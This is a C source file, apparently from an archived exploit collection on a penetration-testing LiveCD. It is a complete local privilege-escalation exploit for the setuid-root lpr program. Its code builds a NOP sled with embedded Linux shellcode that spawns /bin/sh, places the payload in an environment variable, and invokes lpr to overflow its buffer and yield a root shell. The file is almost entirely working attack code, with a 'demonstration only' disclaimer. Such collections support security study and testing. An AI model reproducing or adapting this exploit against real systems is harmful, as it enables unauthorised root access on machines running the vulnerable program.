home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / lpd / lpr_exploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  83 lines

  1. /*
  2.  * lpr_exploit.c - Buffer overflow exploit for the lpr program.
  3.  * Adapted from code found in "stack smashing..." by Aleph One
  4.  *                                      aleph1@underground.org
  5.  *
  6.  * "wisdom is knowledge passed from one to another",  Thanks
  7.  * Aleph1
  8.  *
  9.  * This program takes  advantage of the buffer  overflow condition
  10.  * preset in lpr program.  This program is meant as  demonstration
  11.  * only,  and the  author claims  no resposibility  for its use or
  12.  * misuse.  - a42n8k9
  13.  */
  14.  
  15. #include <stdlib.h>
  16.  
  17. #define DEFAULT_OFFSET  1023
  18. #define DEFAULT_BUFFER_SIZE 2289
  19. #define NOP 0x90
  20.  
  21. /*
  22.  * The hex representation of the code to produce an interactive shell.
  23.  * Oviously since this is for a Linux Box, you may need to generate the
  24.  * right set for your OS if you are porting this to another UNIX system.
  25.  */
  26.  
  27. char shellcode [] =
  28.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  29.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  30.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  31.  
  32. unsigned long get_sp(void)
  33. {
  34.   __asm__("mov %esp,%eax");
  35. }
  36.  
  37. void main(int argc, char *argv[])
  38. {
  39.   char *buff, *ptr;
  40.   long *addr_ptr, addr;
  41.   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  42.   int i;
  43.  
  44.   /* set aside the memory for our shell code */
  45.   if (!(buff = malloc(bsize)))
  46.     {
  47.       printf("Can't allocate memory.\n");
  48.       exit(0);
  49.     }
  50.  
  51.   /* Get the address of our stack pointer */
  52.   addr = get_sp() - offset;
  53.  
  54.   /* fill our buffer with its address */
  55.   ptr = buff;
  56.   addr_ptr = (long *)ptr;
  57.   for(i = 0; i<bsize; i+=4)
  58.     *(addr_ptr++) = addr;
  59.  
  60.   /* fill the first half of the buffer with NOPs */
  61.   for(i=0;i<bsize/2;i++)
  62.     buff[i] = NOP;
  63.  
  64.   /* add in our shell code */
  65.   ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  66.   for(i=0;i<strlen(shellcode);i++)
  67.     *(ptr++) = shellcode[i];
  68.  
  69.   /* terminate the string */
  70.   buff[bsize - 1] = '\0';
  71.  
  72.   /* load the string into an environment variable */
  73.   memcpy(buff,"EGG=",4);
  74.   putenv(buff);
  75.  
  76.   /*
  77.    * execute the shell command, thus exploiting the overflow
  78.    * since lpr is suid root, a root shell will be spawned
  79.    */
  80.  
  81.   system("lpr $EGG");
  82. }
  83.